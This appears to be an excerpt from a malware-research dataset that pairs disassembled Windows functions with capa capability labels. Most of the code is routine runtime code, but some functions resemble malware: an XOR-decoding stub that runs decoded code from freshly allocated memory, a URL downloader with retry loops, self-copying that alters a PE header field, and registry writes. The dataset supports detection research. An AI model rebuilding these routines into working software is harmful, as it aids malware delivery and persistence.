joyce8/EMBER2024-capa huggingface dataset:
Function at 0x561a43
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x5f1218]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x561a86
cmp word [esi], dx
jne 0x561a86
or byte [edi + eax + 0x28], 4
jmp 0x561a8b
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x561bc4
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x561ba4
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x561acd
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x561b03
cmp eax, edx
jae 0x561b0f
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x561aa5
jmp 0x561bc4
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x561ba0
cmp dword [ebp - 0x14], 0
je 0x561ba0
mov eax, dword [ebx*4 + 0x5f1218]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x561b78
mov cx, word [ebp - 4]
pop eax
cmp cx, ax
je 0x561bbe
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x5f1218]
push 0xa
mov byte [edi + eax + 0x2a], cl
mov eax, dword [ebx*4 + 0x5f1218]
shr cx, 8
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x5f1218]
pop ecx
mov byte [edi + eax + 0x2c], cl
jmp 0x561bc1
pop ebx
cmp word [ebp - 4], bx
jne 0x561b89
cmp esi, dword [ebp + 0xc]
jne 0x561b89
mov word [esi], bx
jmp 0x561bc1
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0056245d
add esp, 0x10
cmp word [ebp - 4], bx
je 0x561bc4
push 0xd
jmp 0x561bbd
mov ecx, dword [ebx*4 + 0x5f1218]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x561bbb
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x561bc4
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x567c80
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x5eaea4]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x567ccb
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00567e1f
test al, al
jne 0x567cc5
sub edx, 2
cmp edx, edi
jne 0x567cab
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x567ced
lea eax, [edi + 2]
cmp edx, eax
je 0x567ced
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00567bcc
add esp, 0x10
jmp 0x567de7
push esi
lea ecx, [ebp - 0x255]
call fcn.00567e1f
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x567d30
push dword [ebp - 0x25c]
jmp 0x567cdd
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x567d6d
cmp word [ebp - 0x226], 0
je 0x567d8e
cmp word [ebp - 0x226], ax
jne 0x567d6d
cmp word [ebp - 0x224], 0
je 0x567d8e
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00567bcc
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x567dda
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x567d47
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x567dc2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x567de7
push 0x5679fc
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00553750
add esp, 0x10
jmp 0x567db7
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0052ebb7
leave
ret
Function at 0x56870b
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x5687a8
push ebx
push esi
call fcn.005686d4
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00566eff
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x568755
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x5687a7
push edi
push eax
call fcn.005627ae
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x568775
call fcn.0055f46d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x5687a6
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00566eff
add esp, 0x20
test eax, eax
jne 0x568794
push edi
call fcn.0055f46d
jmp 0x56879c
push ebx
call fcn.0055f46d
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x5687ab
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x5687bc
pop esi
ret
push ebx
push edi
push esi
call fcn.005686d4
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.005627ae
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x5687e4
push ebx
push esi
push edi
call fcn.00546460
add esp, 0xc
push 0
call fcn.0055f46d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x568f30
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00568a57
Function at 0x56f987
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0056f903
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x56faff
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x56faff
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x56faae
jg 0x56f9e0
test eax, eax
je 0x56faa4
push 1
push 0x1000
call fcn.00560dfb
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x56fa06
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x56fa9b
push 0x8000
push ebx
call fcn.00554d58
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x56fa32
jg 0x56fa2d
cmp ecx, 0x1000
jb 0x56fa32
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.005604d6
add esp, 0x10
cmp eax, 0xffffffff
je 0x56fa77
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x56fa2d
jl 0x56fa5e
test ecx, ecx
jne 0x56fa1f
push dword [ebp - 0xc]
push ebx
call fcn.00554d58
push esi
call fcn.0055f46d
add esp, 0xc
xor edi, edi
jmp 0x56fb10
cmp byte [edi + 0x24], 0
je 0x56fa8e
cmp dword [edi + 0x20], 5
jne 0x56fa8e
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x56fa99
mov edi, dword [edi + 0x18]
jmp 0x56fa9b
xor edi, edi
push esi
call fcn.0055f46d
pop ecx
jmp 0x56fb10
test ecx, ecx
jg 0x56fa70
jl 0x56faae
test eax, eax
jae 0x56fa70
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0056245d
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x56fad1
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x56fa70
jmp 0x56fb08
push ebx
call fcn.00564ceb
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x56fa70
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x56fb10
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x56fb0d
mov edi, dword [edi + 0x18]
jmp 0x56fb10
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0056245d
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40632d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40633c
pop dword [ebp - 0x4c]
mov eax, 0x40633c
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xe43378a0
sub dword [ebp - 0x5c], 0x95e13355
mov dword [ebp - 0x58], 0xd610ce5e
add dword [ebp - 0x58], 0x5c227de7
mov dword [ebp - 0x54], 0x7318c8a0
add dword [ebp - 0x54], 0xd9337b8e
mov dword [ebp - 0x50], 0x941d71f3
sub dword [ebp - 0x50], 0x941d71f3
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xba1114f0
sub eax, 0xb9d0a490
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xfed75948
sub dword [ebp - 0x5c], 0x8a64eff2
mov dword [ebp - 0x58], 0xb524b378
sub dword [ebp - 0x58], 0x73b85203
mov dword [ebp - 0x54], 0x57b7e5a1
sub dword [ebp - 0x54], 0xf4487935
mov dword [ebp - 0x50], 0xc340d59e
add dword [ebp - 0x50], 0x3cbf2a62
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x1a4c3b3c
sub eax, 0x1a0bca3c
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x377d5
push 0
call eax
mov ecx, 0xa6a02b96
add ecx, 0x59601fe6
xor edi, edi
add edi, eax
mov edx, 0x410000
add edx, dword [ebp - 0x4c]
mov esi, 0x4135e18b
sub esi, 0x5c449f88
sub dword [ebp - 8], ebx
mov ebx, dword [edx]
mov dword [ebp - 0x30], 0x21ce549d
sub ebx, esi
sub dword [ebp - 0x48], 0x459c976e
mov dword [edi], ebx
xor dword [ebp - 0x30], edi
add edi, 0x8ab177e8
add edi, 0x754e881c
add edx, 0x23009a33
add edx, 0xdcff65d1
loop 0x406455
add eax, 0x96033018
sub eax, 0x96020f55
mov ebx, eax
add eax, 0xd6c587cc
add eax, 0x293a7839
mov ecx, 0x3766bb92
add ecx, 0xc8d9446e
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x404195
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2068
call fcn.0040b430
push ebx
push esi
xor esi, esi
cmp dword [0x40d3e4], esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 8], esi
jne 0x4041cb
jmp 0x4041c1
push 0x2710
call edi
call fcn.00406b28
cmp eax, 1
jne 0x4041ba
cmp dword [ebp + 0x18], esi
jne 0x4041da
push esi
push 7
call fcn.00409747
pop ecx
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor ebx, ebx
cmp dword [ebp + 0x14], esi
jle 0x404213
push dword [ebp + 0x20]
lea eax, [ebp - 8]
push dword [ebp + 0x18]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00406c6e
add esp, 0x14
test eax, eax
jne 0x40421a
push 0xea60
inc ebx
call edi
cmp ebx, dword [ebp + 0x14]
jl 0x4041ea
xor eax, eax
jmp 0x4042b6
cmp dword [ebp + 0x18], esi
jne 0x404229
push esi
push 8
call fcn.00409747
pop ecx
pop ecx
push 0x44
lea eax, [ebp - 0x64]
push esi
push eax
call fcn.0040b3b0
lea eax, [ebp - 0x2064]
add esp, 0xc
push eax
mov edx, 0x401540
call fcn.00405151
pop ecx
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x2064]
call fcn.0040512d
mov ecx, 0x401544
call fcn.0040512d
cmp dword [ebp + 0x10], esi
je 0x404286
mov edx, dword [ebp + 0x10]
mov eax, 0x4011fc
call fcn.004050b3
test eax, eax
je 0x404286
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x2064]
call fcn.0040512d
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x64]
push eax
push 0x41cbd8
push esi
push 0x20
push esi
push esi
push esi
lea eax, [ebp - 0x2064]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4042b3
or dword [ebp - 8], 8
jmp 0x4042b6
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x1c]
cmp ecx, esi
je 0x4042c2
mov edx, dword [ebp - 8]
mov dword [ecx], edx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40667e
Capabilities:
Query environment variable
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.0040b430
push ebx
push edi
push 0x400
lea eax, [ebp - 0x1004]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
call fcn.0040509d
pop ecx
xor ebx, ebx
inc eax
xor ecx, ecx
cmp esi, ebx
je 0x4066d1
cmp eax, ebx
jbe 0x4066d1
mov byte [ebp - 0x804], bl
cmp word [esi + ecx*2], bx
mov dl, byte [esi + ecx*2]
mov byte [ebp + ecx - 0x804], dl
je 0x4066d1
inc ecx
cmp ecx, eax
jb 0x4066bc
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x1004]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4066f8
xor eax, eax
jmp 0x40671d
push ebx
lea eax, [ebp - 4]
push eax
push esi
call fcn.0040509d
pop ecx
push eax
lea eax, [ebp - 0x804]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret

Function at 0x406721
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 8]
push eax
xor esi, esi
lea eax, [ebp - 4]
push eax
push esi
push 0x20006
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
mov dword [ebp - 8], esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x406754
xor eax, eax
jmp 0x406789
push edi
push dword [ebp + 0x14]
call fcn.0040509d
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 0x14]
push dword [ebp + 0x18]
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp edi, esi
sete al
pop edi
pop esi
leave
ret

Function at 0x406b28
Capabilities:
Check internet connectivity via wininet
Create http request

Disassembly:
push 0
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
test eax, eax
je 0x406b37
xor eax, eax
ret
push 0
push 0
push 0
push 1
push 0x401fa4
call dword [sym.imp.WININET.dll_InternetOpenW]
xor ecx, ecx
test eax, eax
setne cl
mov dword [0x40d3e4], eax
mov eax, ecx
ret
Function at 0x406c6e
Capabilities:
Delete file
Download and write a file
Get file size
Query remote server for available data
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
push ebx
xor ebx, ebx
cmp dword [ebp + 0x14], ebx
push esi
mov dword [ebp - 4], ebx
je 0x406c8c
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
push 0x80
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
mov dword [ebp - 8], esi
jne 0x406cbb
mov eax, dword [ebp + 0x10]
or dword [eax], 1
xor eax, eax
jmp 0x406dd8
push edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
mov edi, dword [ebp + 0x10]
jne 0x406ce8
or dword [edi], 2
cmp dword [ebp + 0x14], ebx
je 0x406cdd
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
jmp 0x406ce8
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
push ebx
push 0x80000000
push ebx
push ebx
push dword [ebp + 8]
push dword [0x40d3e4]
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
cmp esi, ebx
mov dword [ebp + 0x14], esi
jne 0x406d19
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [edi], 4
jmp 0x406dd5
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
cmp dword [ebp - 4], ebx
je 0x406d4b
push ebx
push ebx
push ebx
push dword [ebp - 4]
push esi
call dword [sym.imp.WININET.dll_InternetSetFilePointer]
cmp eax, 0xffffffff
je 0x406d4b
push ebx
push ebx
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0xc]
push eax
mov edi, 0x800
push edi
lea eax, [ebp - 0x814]
push eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x406d91
cmp dword [ebp - 0xc], ebx
je 0x406d9b
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x814]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 0x814]
push eax
push dword [ebp + 0x14]
call esi
cmp eax, 1
mov dword [ebp - 4], eax
je 0x406d65
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x14]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 4], 1
jne 0x406dcf
cmp dword [ebp + 0x18], ebx
je 0x406dca
push dword [ebp + 0x18]
push dword [ebp + 0xc]
call fcn.00407035
cmp eax, 1
pop ecx
pop ecx
jne 0x406dcf
xor eax, eax
inc eax
jmp 0x406dd7
mov eax, dword [ebp + 0x10]
or dword [eax], 4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407035
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
xor esi, esi
push esi
push esi
push 3
push esi
push esi
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40705d
xor eax, eax
jmp 0x4070a4
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
lea ecx, [ebp - 4]
push ecx
push edi
push eax
push ebx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 4], edi
je 0x407091
xor eax, eax
jmp 0x4070a3
mov edx, dword [ebp - 8]
push edi
call fcn.00406fd8
sub eax, dword [ebp + 0xc]
pop ecx
neg eax
sbb eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40731a
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
push edi
xor esi, esi
push esi
mov edi, 0x80
push edi
push 3
push esi
push 1
push 0x80000000
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x407465
push esi
push edi
push 2
push esi
push esi
push 0xc0000000
push dword [ebp + 0xc]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x407370
push 2
pop eax
jmp 0x407468
push esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
cmp eax, esi
mov dword [ebp - 0x10], eax
je 0x407465
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
lea ecx, [ebp - 8]
push ecx
push edi
push eax
push dword [ebp - 0xc]
call ebx
test eax, eax
je 0x407465
cmp dword [ebp - 8], edi
jne 0x407465
push esi
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 0x10]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push esi
push esi
push dword [ebp - 4]
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 4]
call ebx
mov eax, dword [ebp - 0x14]
push esi
push esi
push eax
push dword [ebp - 4]
mov dword [ebp - 0x10], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call ebx
call fcn.00405442
cdq
mov ecx, 0x3e8
idiv ecx
mov eax, dword [ebp - 0x140]
push esi
push esi
push dword [ebp - 0x10]
push dword [ebp - 4]
lea eax, [eax + edx - 0x1f4]
mov dword [ebp - 0x140], eax
call edi
push esi
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 4]
call esi
xor eax, eax
jmp 0x407468
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40746d
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.0040b430
push ebx
push esi
push edi
mov esi, 0x400
push esi
lea eax, [ebp - 0x1000]
xor ebx, ebx
push eax
push ebx
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
lea eax, [ebp - 0x800]
push eax
push dword [edi*4 + 0x40d040]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1000]
push eax
call fcn.0040731a
test eax, eax
pop ecx
pop ecx
je 0x407509
cmp eax, 1
jne 0x4074da
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [eax + ebx + 0xf4240]
push eax
push 4
jmp 0x4074ef
cmp eax, 2
jne 0x4074f6
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [eax + ebx + 0xf4240]
push eax
push 5
call fcn.00409747
pop ecx
pop ecx
inc edi
add ebx, 0xf4240
cmp edi, 2
jl 0x407495
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
lea eax, [edi + 1]
jmp 0x407504

Function at 0x40750e
Capabilities:
Create process on windows
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push 0x44
xor esi, esi
lea eax, [ebp - 0x54]
push esi
push eax
call fcn.0040b3b0
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push 0x24
push esi
push esi
push esi
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
pop esi
jne 0x407546
leave
ret
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
inc eax
leave
ret

Function at 0x407822
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.0040b430
push esi
push edi
mov esi, 0x1000
push esi
lea eax, [ebp - 0x2000]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x407858
lea edx, [ebp - 0x2000]
call fcn.00406b0d
jmp 0x407866
lea eax, [ebp - 0x2000]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, 0x402000
lea eax, [ebp - 0x2000]
call fcn.0040512d
cmp dword [ebp + 8], edi
push 4
pop eax
je 0x407881
push 3
pop eax
push edi
push 2
push eax
push edi
push edi
push 0xc0000000
lea eax, [ebp - 0x2000]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
pop edi
mov dword [0x40d0ac], eax
pop esi
mov eax, ecx
leave
ret